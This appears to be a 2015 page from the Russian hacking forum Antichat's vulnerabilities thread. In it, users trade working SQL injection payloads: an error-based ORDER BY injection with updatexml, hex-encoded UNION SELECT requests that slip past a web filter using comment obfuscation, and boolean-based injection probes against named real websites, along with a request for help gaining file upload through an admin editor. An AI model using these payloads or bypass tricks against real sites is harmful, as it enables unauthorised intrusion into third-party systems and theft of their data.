HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   Форум АНТИЧАТ > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 28 из 296 « Первая < 18 24 25 26 27 28 29 30 31 32 3878128 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #1  
Старый 02.07.2015, 14:55
reuvenmatbil
Новичок
Регистрация: 01.09.2012
Сообщений: 28
Провел на форуме:
5818

Репутация: 0
По умолчанию
В админке есть возможность редактировать html

не могу найти html загрузчик

кто может подсказать код?
 
Ответить с цитированием

  #2  
Старый 02.07.2015, 15:16
frank
Участник форума
Регистрация: 08.05.2015
Сообщений: 200
Провел на форуме:
56887

Репутация: 28
По умолчанию
Цитата:
Сообщение от reuvenmatbil  
↑
В админке есть возможность редактировать html
не могу найти html загрузчик
кто может подсказать код?
Я может не так понял конечно, вы это имели ввиду?

Код:
http://htmlbook.ru/samhtml5/formy/zagruzka-failov
 
Ответить с цитированием

  #3  
Старый 02.07.2015, 15:41
reuvenmatbil
Новичок
Регистрация: 01.09.2012
Сообщений: 28
Провел на форуме:
5818

Репутация: 0
По умолчанию
Цитата:
Сообщение от frank  
↑
Я может не так понял конечно, вы это имели ввиду?
Код:
http://htmlbook.ru/samhtml5/formy/zagruzka-failov
да, он, но файл не хочет загружаться
 
Ответить с цитированием

  #4  
Старый 02.07.2015, 16:30
kingbeef
Новичок
Регистрация: 08.04.2010
Сообщений: 1
Провел на форуме:
70640

Репутация: 0
По умолчанию
Ты никак не загрузишь файл через html.
 
Ответить с цитированием

  #5  
Старый 02.07.2015, 17:01
reuvenmatbil
Новичок
Регистрация: 01.09.2012
Сообщений: 28
Провел на форуме:
5818

Репутация: 0
По умолчанию
Цитата:
Сообщение от kingbeef  
↑
Ты никак не загрузишь файл через html.
стоит движок FCKeditor

можно только редактировать хтмл

то что на форуме обсуждали

/threads/314734/

/thread170379.html

/threadnav141783-2-10.html

не подошло
 
Ответить с цитированием

  #6  
Старый 02.07.2015, 19:43
DezMond™
Участник форума
Регистрация: 10.01.2008
Сообщений: 199
Провел на форуме:
961428

Репутация: 662
По умолчанию
 
Ответить с цитированием

  #7  
Старый 02.07.2015, 20:23
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию
Цитата:
Сообщение от DezMond™  
↑
Хелп
Инъекция в ORDER BY, Error-based;

Код:
DESC,error-based
DESC, updatexml(1, concat(0x3A, version()), 1)
reuvenmatbil,Никак нельзя. Ваш вопрос, более того, некорректен.
 
Ответить с цитированием

  #8  
Старый 02.07.2015, 21:30
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию
Цитата:
Сообщение от DezMond™  
↑
У кого получиться фильтр обойти?
За это конечно спасибо. Вариантов, как обычно, несколько.

Код:
index.php?id=9528&catId=177 UNION /*I j n t e h h n f d j i e  v o m i r v e r a e l l e r i r e c t  a t z u n d o p t i k n n e n*/ SELECT UNHEX /*I j n t e h h n f d j i e  v o m i r v e r a e l l e r i r e c t  a t z u n d o p t i k n n e n*/('3629554E494F4E2053454C45435420312C322C332C342C352C362C372C382C392C302C312C76657273696F6E28292C332C342C352C362C372C382C392C302C312C342C332C342C352C362C372C382C392C302C312C352C332C342C352C362C372C382C392C302C312C362C332C342C352C362C372C382C392C302C312C372C332C342C352C362C372C382C3923')&origin=search&no_cache=1
index.php?id=9528&catId=177 UNION /*I j n t e h h n f d j i e  v o m i r v e r a e l l e r i r e c t  a t z u n d o p t i k n n e n*/ SELECT x'3629554E494F4E2053454C45435420312C322C332C342C352C362C372C382C392C302C312C76657273696F6E28292C332C342C352C362C372C382C392C302C312C342C332C342C352C362C372C382C392C302C312C352C332C342C352C362C372C382C392C302C312C362C332C342C352C362C372C382C392C302C312C372C332C342C352C362C372C382C3923'&origin=search&no_cache=1
index.php?id=9528&catId=177.0UNION/**/SELECT x'3629554E494F4E2053454C45435420312C322C332C342C352C362C372C382C392C302C312C76657273696F6E28292C332C342C352C362C372C382C392C302C312C342C332C342C352C362C372C382C392C302C312C352C332C342C352C362C372C382C392C302C312C362C332C342C352C362C372C382C392C302C312C372C332C342C352C362C372C382C3923'&origin=search&no_cache=1
MySQL 5.5.27.
 
Ответить с цитированием

  #9  
Старый 02.07.2015, 21:47
XAMEHA
Новичок
Регистрация: 15.05.2010
Сообщений: 0
Провел на форуме:
2268

Репутация: 0
По умолчанию
Цитата:
Сообщение от Br@!ns  
↑
Помогите waf обойти и вывод получить
А где вы SQL Injection обнаружили? Вроде чисто.
 
Ответить с цитированием

  #10  
Старый 02.07.2015, 22:55
Br@!ns
Постоянный
Регистрация: 03.09.2010
Сообщений: 885
Провел на форуме:
179197

Репутация: 25


По умолчанию
Цитата:
Сообщение от XAMEHA  
↑
А где вы SQL Injection обнаружили? Вроде чисто.
ну как.

http://www.haynes.com/products?sear...=2009&make=Boatian&model=BT125-3'+and+1=1+--+ - TRUE

http://www.haynes.com/products?sear...=2009&make=Boatian&model=BT125-3'+and+1=2+--+ - FALSE

А так же http://www.haynes.com/products?sear...09&make=Boatian&model=BT125-3'+Order+by+2+--+ - TRUE

новость вылазиет при true. так же при некоторых командах вылазиет белая страничка

2) А тут можно что нибудь сделать?

http://www.ok.gov/triton/modules/new...123,1,1)=1+--+

http://www.ok.gov/triton/modules/new...order+by+1+--+

http://www.ok.gov/triton/modules/newsroom/newsroom.php?id=109+and+substr('a',1,1)='a'
 
Ответить с цитированием
Ответ
Страница 28 из 296 « Первая < 18 24 25 26 27 28 29 30 31 32 3878128 > Последняя »



« Предыдущая тема | Следующая тема »


Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.